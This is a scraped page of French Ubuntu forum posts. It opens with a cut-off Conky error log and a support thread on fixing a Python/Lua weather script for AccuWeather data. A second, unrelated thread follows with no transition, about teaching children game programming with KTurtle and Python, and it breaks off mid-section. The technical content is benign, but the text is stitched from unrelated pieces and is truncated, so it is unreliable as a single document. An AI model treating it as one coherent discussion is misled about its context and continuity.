Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
Conky: llua_getstring: function conky_Meteo_Ville didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_QPluie execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:894: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_Humidite didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_HLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1009: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1013: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_HCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1021: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1025: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_CondMeteo didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:728: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_VentForce didn't return a string, result discarded
Conky: llua_getstring: function conky_Meteo_VentDirP didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
date: /home/claude/Scripts/MeteoLua2/sauvegardes/CC: Aucun fichier ou dossier de ce type
Conky: llua_getstring: function conky_Meteo_Ville didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_QPluie execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:894: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_Humidite didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_HLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1009: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MLeverSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1013: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_HCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1021: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_MCoucherSoleil execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:1025: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_CondMeteo didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:728: attempt to index field '?' (a nil value)
Conky: llua_getstring: function conky_Meteo_VentForce didn't return a string, result discarded
Conky: llua_getstring: function conky_Meteo_VentDirP didn't return a string, result discarded
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_IconeM execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:906: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Jour_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:854: attempt to index field '?' (a nil value)
Conky: llua_do_call: function conky_Meteo_Nuit_Temp execution failed: /home/claude/Scripts/MeteoLua2/Scripts/meteo.lua:941: attempt t
"Carpe diem quam minimum credula postero"
(Cueille le jour présent, en te fiant le moins possible au lendemain.)
HORACE
Hors ligne
#2212 Le 22/02/2013, à 12:44
Didier-T
Re : [Conky] Alternative à weather.com (2)
@ carpediem,
essaye ceci, et donne le retour, merci.
python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054
nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10 notify=oui
Hors ligne
#2213 Le 22/02/2013, à 12:54
jpdipsy
Re : [Conky] Alternative à weather.com (2)
jpdipsy a écrit :
@Didier
Pour toi interessant ou pas ?
### Vérification répertoire
if not path.exists(repsauv):
makedirs(repsauv)
### Sauvegarde pid
pid = str(getpid())
f = open(repsauv+'/recmeteo.pid', 'w')
f.write(pid)
f.close()
en fait j'avais déjà regardé sa, mais je n'ai pas encore trouvé de façon d'exploité l'information avec conky, ou meteo.lua, le soucis viens du fait que pour fermer ces processus on les kill.
pour ton projet en bash, sa doit pouvoir se faire (a condition d'avoir un script d'extinction et qu'il soit utilisé).
vi
kill -9 $(cat $repsauv/recmeteo.pid)
edit : naturellement suivi de rm $repsauv/recmeteo.pid
redit : et dans le pire des cas dans recmeteo tu peux mettre en place une verification qui lit le num du pid sauvegardé et tué l'ancien
Dernière modification par jpdipsy (Le 22/02/2013, à 13:06)
Hors ligne
#2214 Le 22/02/2013, à 12:57
carpediem
Re : [Conky] Alternative à weather.com (2)
@ carpediem,
essaye ceci, et donne le retour, merci.
python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054
nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10 notify=oui
carpediem ~$ python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 175, in activate_name_owner
return self.get_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
's', (bus_name,), **keywords)
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.freedesktop.Notifications': no such name
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/claude/Scripts/MeteoLua2/Scripts/recmeteo.py", line 317, in <module>
notify2.init('Recmeteo.py')
File "/usr/lib/python3/dist-packages/notify2.py", line 96, in init
'/org/freedesktop/Notifications')
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
follow_name_owner_changes=follow_name_owner_changes)
File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 248, in __init__
self._named_service = conn.activate_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 180, in activate_name_owner
self.start_service_by_name(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 278, in start_service_by_name
'su', (bus_name, flags)))
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.Notifications was not provided by any .service files
carpediem ~$ nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10 notify=oui
"Carpe diem quam minimum credula postero"
(Cueille le jour présent, en te fiant le moins possible au lendemain.)
HORACE
Hors ligne
#2215 Le 22/02/2013, à 13:03
#2216 Le 22/02/2013, à 13:26
jpdipsy
Re : [Conky] Alternative à weather.com (2)
@Carpediem
essai le meme lancement de recmeteo mais sans notify
python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054
nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10
et fait voir le retour
Hors ligne
#2217 Le 22/02/2013, à 14:20
carpediem
Re : [Conky] Alternative à weather.com (2)
@Didier-T python3-dbus est intallé
@Carpediem
essai le meme lancement de recmeteo mais sans notify
python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054
nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10
et fait voir le retour
carpediem ~$ python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 175, in activate_name_owner
return self.get_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
's', (bus_name,), **keywords)
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.freedesktop.Notifications': no such name
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/claude/Scripts/MeteoLua2/Scripts/recmeteo.py", line 317, in <module>
notify2.init('Recmeteo.py')
File "/usr/lib/python3/dist-packages/notify2.py", line 96, in init
'/org/freedesktop/Notifications')
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
follow_name_owner_changes=follow_name_owner_changes)
File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 248, in __init__
self._named_service = conn.activate_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 180, in activate_name_owner
self.start_service_by_name(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 278, in start_service_by_name
'su', (bus_name, flags)))
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.Notifications was not provided by any .service files
carpediem ~$ nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10
carpediem ~$
Dernière modification par carpediem (Le 22/02/2013, à 14:21)
"Carpe diem quam minimum credula postero"
(Cueille le jour présent, en te fiant le moins possible au lendemain.)
HORACE
Hors ligne
#2218 Le 22/02/2013, à 14:28
Didier-T
Re : [Conky] Alternative à weather.com (2)
carpediem, il s'agit d'une seul ligne de commande, je vois que tu la coupe en deux.
par contre on vas passer notify=non, comme la suggéré jpdipsy.
python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054 nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10 notify=non
Hors ligne
#2219 Le 22/02/2013, à 14:40
Phyllinux
Re : [Conky] Alternative à weather.com (2)
@ jpdipsy :
Hier, le script lancé par XPlanet ne se rafraîchissait pas, mais aujourd'hui, alors que je n'ai rien modifié, il ne se lance plus.
Pas d'affichage de la météo en surcouche dans le fond d'écran de XPlanet.
EDIT :
Le script start-recmeteo.sh lancé 'a la mano' fonctionne cependant, mais pas celui lié à XPlanet.
Dernière modification par Phyllinux (Le 22/02/2013, à 14:42)
The ship is sinking normally...
Hors ligne
#2220 Le 22/02/2013, à 15:06
jpdipsy
Re : [Conky] Alternative à weather.com (2)
@ jpdipsy :
Hier, le script lancé par XPlanet ne se rafraîchissait pas, mais aujourd'hui, alors que je n'ai rien modifié, il ne se lance plus.
Pas d'affichage de la météo en surcouche dans le fond d'écran de XPlanet.
EDIT :
Le script start-recmeteo.sh lancé 'a la mano' fonctionne cependant, mais pas celui lié à XPlanet.
Je sais j'ai mis le boxon dans les scripts moi ma bécane à flambée fais gaffe
Je blague bien évidement je vous met les scripts en fin d'AM je pense
Hors ligne
#2221 Le 22/02/2013, à 16:21
carpediem
Re : [Conky] Alternative à weather.com (2)
carpediem, il s'agit d'une seul ligne de commande, je vois que tu la coupe en deux.
par contre on vas passer notify=non, comme la suggéré jpdipsy.<metadata lang=INI prob=0.51 />
python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054 nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10 notify=non
@ jpdipsy, @Didier-T un grand MERCI mes conkys fonctionnent.
Encore une petit souci pour le graphique de la pression et de la température qui ne fonctionne toujours pas.
encore merci pour ce magnifique travaille
Cordialement
carpediem
"Carpe diem quam minimum credula postero"
(Cueille le jour présent, en te fiant le moins possible au lendemain.)
HORACE
Hors ligne
#2222 Le 22/02/2013, à 16:33
Phyllinux
Re : [Conky] Alternative à weather.com (2)
@ jpdipsy :
Je suis en train de travailler sur mon module à afficher.
Sur ton baromètre, je vois affiché (en bas) H.R. et un pourcentage. Je pense qu'il s'agit du taux d'humidité ?
Or, dans ton module, je ne vois jamais comment est appelée cette valeur.
Or, en ce qui me concerne, je fais afficher l'icône de la condition du moment, et du coup, je voudrais faire disparaître cet affichage H.R. : XX%. Où dois je supprimer cette partie de code.
Toujours sur le baromètre, comment changer la couleur de la flèche, qui est en bleu, et que je voudrais plutôt en noir. Car je ne vois nulle part dans ton script de partie sur la création du baromètre.
Merci
The ship is sinking normally...
Hors ligne
#2223 Le 22/02/2013, à 16:52
ragamatrix
Re : [Conky] Alternative à weather.com (2)
@ jpdipsy :
Je suis en train de travailler sur mon module à afficher.
Sur ton baromètre, je vois affiché (en bas) H.R. et un pourcentage. Je pense qu'il s'agit du taux d'humidité ?
Or, dans ton module, je ne vois jamais comment est appelée cette valeur.
Or, en ce qui me concerne, je fais afficher l'icône de la condition du moment, et du coup, je voudrais faire disparaître cet affichage H.R. : XX%. Où dois je supprimer cette partie de code.
Toujours sur le baromètre, comment changer la couleur de la flèche, qui est en bleu, et que je voudrais plutôt en noir. Car je ne vois nulle part dans ton script de partie sur la création du baromètre.
Merci
Salut
En fait je crois qu'avec ce barometre les aiguilles changent de couleur en fonction de la tendance.
Pour HR humidité relative je crois que c'est dans le script meteo vers ligne:382
#ajouter la tendance
convert $Barometre/base.png -background transparent -font $fonte -pointsize 45 -gravity South \
-stroke white -strokewidth 2 -annotate +0+110 "H.R: $HR %" \
-stroke none -fill blue -annotate +0+110 "H.R: $HR %" \
$reptemp/Barometre.png
composite -compose Over -gravity Center $reptemp/aiguille_rot.png $reptemp/Barometre.png $reptemp/Barometre.png
mogrify -resize $taille! $reptemp/Barometre.png
composite -blend 0x$opacite null: $reptemp/Barometre.png -matte $reptemp/Barometre.png
Hors ligne
#2224 Le 22/02/2013, à 17:02
Phyllinux
Re : [Conky] Alternative à weather.com (2)
OK, merci pour ces infos.
En fait je ne cherchais que dans le script macomposition.sh, d'où le fait que je trouvais pas.
Pour la couleur de la flèche, je confirme car, de bleu, elle vient de passer à rouge toute seule !
The ship is sinking normally...
Hors ligne
#2225 Le 22/02/2013, à 17:15
Didier-T
Re : [Conky] Alternative à weather.com (2)
Didier-T a écrit :
carpediem, il s'agit d'une seul ligne de commande, je vois que tu la coupe en deux.
par contre on vas passer notify=non, comme la suggéré jpdipsy.<metadata lang=INI prob=0.51 />
python3 ~/Scripts/MeteoLua2/Scripts/recmeteo.py repsauv=~/Scripts/MeteoLua2/sauvegardes adressWeb=http://www.accuweather.com/fr/fr/stiring-wendel/135054/weather-forecast/135054 nbJour=10 matin=oui apresmidi=oui soiree=oui nuit=oui huitHeures=oui nbFoisHuit=1 interval=10 notify=non
@ jpdipsy, @Didier-Tun grandMERCImes conkys fonctionnent.
Encore une petit souci pour le graphique de la pression et de la température qui ne fonctionne toujours pas.
encore merci pour ce magnifique travaille
Cordialement
carpediem
il faudrait que tu me re-fournisse tes scripts, la position a changé pour les données (la facon de les récupérer aussi)
Je me demande si je vais pas virer la notification, trop de soucis, pour un intérêt limité (enfin a mon gout)
Hors ligne |
doudoulolita
Faire une animation sur la création de jeux vidéo libres
Dans le topic Création de jeu vidéo libre - Appel à candidatures, j'ai découvert le créateur de jeu de Ultimate Smash Friends, Tshirtman.
Voici ce que je lui ai écrit:
Je cherche un jeu que notre Espace Public Numérique pourrait proposer aux jeunes sur Linux, voire les inciter à participer au projet de développement. smile
Mais j'ai du mal à installer Ultimate smash friends chez moi sur Ubuntu Studio Jaunty... mad
Le lien du paquet en .deb sur http://usf.tuxfamily.org/wiki/Download#Requirements ne fonctionne pas.
J'ai finalement trouvé le paquet en .deb sur cette page en suivant le lien indiqué au bas de la précédente (ouf !).
Mais à l'install avec Gdebi, il m'indique qu'il manque python-support.
Pourtant, j'ai vérifié que j'avais python (version 2.6, faut-il la version 2.3 ?) et j'ai installé python-pygame juste avant.
python-support est bien installé (j'ai vérifié dans synaptic), alors ?
C'est le genre de problème qui n'incitera pas les jeunes à se mettre sous Linux, ça, le moindre effort leur est insupportable, les pauvres chéris... cool
La page d'Ultimate-smash-friends destinée aux développeurs fait un peu peur ! Je dois avouer que moi qui aime dessiner (en utilisant Gimp, Inkscape mais je tate aussi de la 3D avec Blender), j'aimerais participer à titre individuel, mais je n'y comprends goutte !
La discussion s'est poursuivie sur Ultimate Smash Friends: un smash bros like en python
Comme le sujet semblait intéresser plusieurs personnes, je propose de continuer la conversation sur la façon de mener cette animation ici.
Voici où m'avait menée ma réflexion:
Animation: programmation
Trouver une animation permettant d'aborder les notions de base de la programmation, outre ses composantes graphiques, me paraît intéressant, à terme. cool
En tout cas, l'idée reste de travailler sous Linux et en logiciel libre. Donc XNA, on oublie, désolée LittleWhite. wink
L'idée d'un saut pourraît être sympa si ce n'est pas trop complexe, mais on pourrait imaginer des animations progressives et variables suivant l'âge, le niveau et le degré de motivation des jeunes.
On a seulement 2 gamins qui pourraient comprendre et apprécier l'aspect mathématique de la programmation , tandis que les autres risquent d'être vite découragés.
Il faudra plus graphique ou plus simple pour ceux-là (même moi, les fonctions Sinus et Cosinus, j'ai oublié et je n'aimais pas ça quand j'étais jeune! wink)
Mais je vois la possibilité d'animation par étapes de plus en plus complexes:
1 - sous Tuxpaint, il y a un des jeux qui permet de réaliser une petite animation en faisant bouger le personnage.
2 - Sous Kturtle, on fait la même chose mais en code pour déplacer la tortue.
3 - Décomposition graphique du saut - Réalisation des images sur Gimp (ou un programme encore plus simple pour les 8-9 ans), Inkscape ou Blender.
4 - Créer un gif animé placé sur un décor (en HTML avec CSS pour le background)
5 - Afficher les images des étapes à l'aide d'une boucle (PHP ?)
6 - Présenter le langage de programmation contenu dans USF et comment ça fonctionne (moteur de jeu et tout ce que je ne connais pas encore...).
7 - Lire et tenter de comprendre une partie de code dans USF correspondant à un saut.
Initiation au Python:
Il y a peut-être plus simple que le saut, pour démarrer ?
Voici les étapes possibles si on veut en arriver là:
1 - Faire glisser le personnage suivant un seul axe.
2 - Puis sur 2 axes (on glisse sur l'axe Y, on saute tout droit sur l'axe Z et on retombe).
3 - Ensuite, on utilise 2 images pour la marche, ou 1 pour le glissement axe Y et 1 autre pour le saut axe Z
4 - Montrer les courbes sinusoïdale d'un vrai saut dans Blender, etc...
Je ne sais pas si Kturtle permet d'initier à ces courbes, mais ce serait peut-être plus simple qu'avec Python, non ?
Python
Je n'ai pas encore mis les mains et la tête dans Python mais je viens de prendre quelques bouquins à la bibliothèque sur le sujet. Je ne connais pour l'instant que des bribes de PHP et me contente d'essais simples (Mod'imprim ou, encore en phase test Multitours).
Je n'ai meme pas encore utilisé pour mes essais une base MySQL, je vais me lancer bientôt (je connais un peu vu qu'on va parfois trafiquer directement dans notre base de donnée au boulot, pour quelques corrections).
J'espère que j'y arriverai en python, et si moi j'y arrive, tout le monde peut y arriver ! tongue
Faire un jeu texte avec des enfants et des ados me semble impossible dans notre EPN, Tshirtman. Les notres sont difficiles à motiver. mad
Jouer, jouer, jouer, d'accord de leur côté, mais participer à une vraie animation construite et sur une certaine durée c'est beaucoup plus difficile pour notre public. sad
Kturtle
J'ai trouvé moi aussi de mon côté des programmes pour enfants permettant d'apprendre ou tout au moins d'aborder la programmation, basés sur le langage Logo.
Kturtle a effectivement l'avantage d'être très facile à installer (dispo dans les sources de Kubuntu et d'Ubuntu). J'ai plus de mal avec Xlogo ou Tangara.
C'est peut-être un point de départ avant de passer à + compliqué. Mais on m'a dit que Logo était un peu dépassé, dans le genre langage de programmation très accessible. Qu'en pensez-vous ?
Problèmes d'installation
Je confirme que le paquet .deb que m'a proposé Tshirtman ne veut pas s'installer avec Gdebi sur ma Ubuntu Studio Jaunty. Il y a des dépendances brisées me dit-il.
J'essaierai plus tard l'autre solution, mais avec les gamins, faudra bien sûr que ce soit simple à installer, sous Linux comme sous Windows.
Notez que chez nous, les gamins n'ont pas forcément Vista quand ils ont leur propre ordi car ils récupèrent souvent de vieux ordis sous XP ou pire encore. On n'en a aucun qui ait installé Linux pour l'instant, il n'y a qu'à notre EPN qu'ils le voient tourner, et le manque de jeux de haute qualité les fait tiquer.
C'est justement là l'intérêt de travailler un jeu libre avec eux, en plus de chercher d'autres jeux libres plus perfectionnés peut-etre, mais moins faciles d'accès que USF pour des animations sur la programmation et/ou le design de jeux.
En tout cas, ça n'empêche pas de commencer des animations avant que le jeu soit parfait et facile à installer sur toutes les plateformes et versions, puisque nous les animateurs, on peut s'embêter avec une install plus compliquée.
On expliquera que pour l'installer chez eux (pour ceux qui ont un ordi), il faudra attendre un peu que les programmeurs bossent encore.
Mes collègues ont été mis tout récemment sur le coup, lors d'une réunion et je leur ai envoyé les liens seulement hier, donc c'est encore jeune comme projet.
Dernière modification par doudoulolita (Le 24/04/2010, à 17:09)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
bump
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
le problème c'est que l'approche de la boucle est fondamentalement fausse, elle n'a pas de sens dans la réalité d'un jeu vidéo, donc il ne faut pas la présenter à mon avis, ni toute autre solution aussi fausse, avoir expliqué le concept de la boucle de jeu permettrait normalement aux enfants d'en trouver une meilleur (ou moins fausse) directement, autant ne pas les embrouiller.
Bon, je reprendrai les étapes après avoir lu un peu sur la conception de jeux et la programmation, pour ne pas faire d'erreurs.
Mais dans les exemples de Kturtle, j'ai vu un truc qui me semble ressembler:
initialiserépète 3 [ avance 100 tournegauche 120]
Est-ce que ce n'est pas une sorte de boucle ?
Dernière modification par doudoulolita (Le 24/04/2010, à 17:21)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici le code que j'ai fait lors d'un essai avec Turtle:
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
lèvecrayon
va 150,120
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
attends 1
va 20,20
écris "J'ai fait tourner la tortue"
tournedroite 90
avance 200
attends 1
va 60,170
attends 1
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
va 150,250
tournegauche 90
écris "et de 2 !"
tournedroite 90
avance 100
attends 1
message "C'est fini !"
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
centre
C'est dommage que l'on ne puisse pas enregistrer sous forme de gif animé et que j'aie du mal à ouvrir le fichier .turtle à partir de l'explorateur.
Ce qui est super, c'est que la doc en ligne est en français et très simple à comprendre.
Il y a quelques différences en fonction des versions: contrairement à ce quei est écrit sur la doc, je ne peux pas enregistrer comme page html mais comme une image en png.
Mais c'est déjà sympa si on pense à supprimer les dernières lignes du code bas du code (depuis message jusqu'à centre)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je viens de commencer à apprendre Python en suivant le début du livre "Initiation à la programmation avec Pyton et C++" de Yves Bailly, éditions Pearson (2008).
Sur la capture d'écran ci-dessous, on voit le fichier dans l'explorateur de fichiers, l'éditeur de texte (kate) où on a écrit le programme qu'on a enregistré sous le nom python1.py et la console (toute noire toute triste, pour l'instant ) où on lance l'interpéteur python puis notre fichier python1.py par cette ligne de commande:
python python1.py
Le résultat s'affiche juste en dessous, dans la console, après avoir appuyé sur la touche "Entrée" du clavier.
Finalement, ça commence assez facilement (d'autant que je connais déjà certains principes grâce à PHP). Il n'y a rien à installer sous Ubuntu car Python est inclus.
Le résultat peut même être un peu graphique comme on le voit ici, en utilisant tirets et astérisques, entre autres signes.
L'important est de bien écrire les lignes de code dans l'éditeur de texte, d'enregistrer puis de lancer la commande python python1.py dans la console + touche entrée pour voir le résultat.
ENCODAGE
La première ligne indique l'encodage utilisé, ici utf-8
CHAÎNE
Au début, j'ai utilisé des chaines, c.à.d des suites de caractères qu'on met entre guillemets ou entre apostrophes:
ex: "Bonjour, Tshirtman !"
INSTRUCTION print
Pour que cette chaîne s'affiche, on utilise l'instruction print
print "Bonjour, Tshirtman !"
VARIABLES
le jeu est la première variable. On la définit par:
jeu_1 = "Ultimate Smash Friends"
Pour afficher le nom de jeu, je pourrai écrire:
print jeu_1
Le résultat sera:Ultimate Smash Friends
Si je remplace "Ultimate Smash Friends" par "Kturtle" dans la définition de la variable jeu_1, le résultat sera:Kturtle
Les personnages sont les autres variables. On les définit par:
perso_1 = "BiX"perso_2 = "Blob"
Pour afficher le nom des 2 personnages, je pourrai écrire:
print perso_1
print perso_2
Le résultat sera BiXBlob
CONCATÉNATION
Je peux mettre tout ça à la suite les uns des autres en utilisant le signe +
print "les personnages de " + jeu_1 + " sont " + perso_1 + " et " + perso_2
résultat:les personnages de Ultimate Smash Friends sont BiX et Blob
SÉPARATEUR EN TIRETS
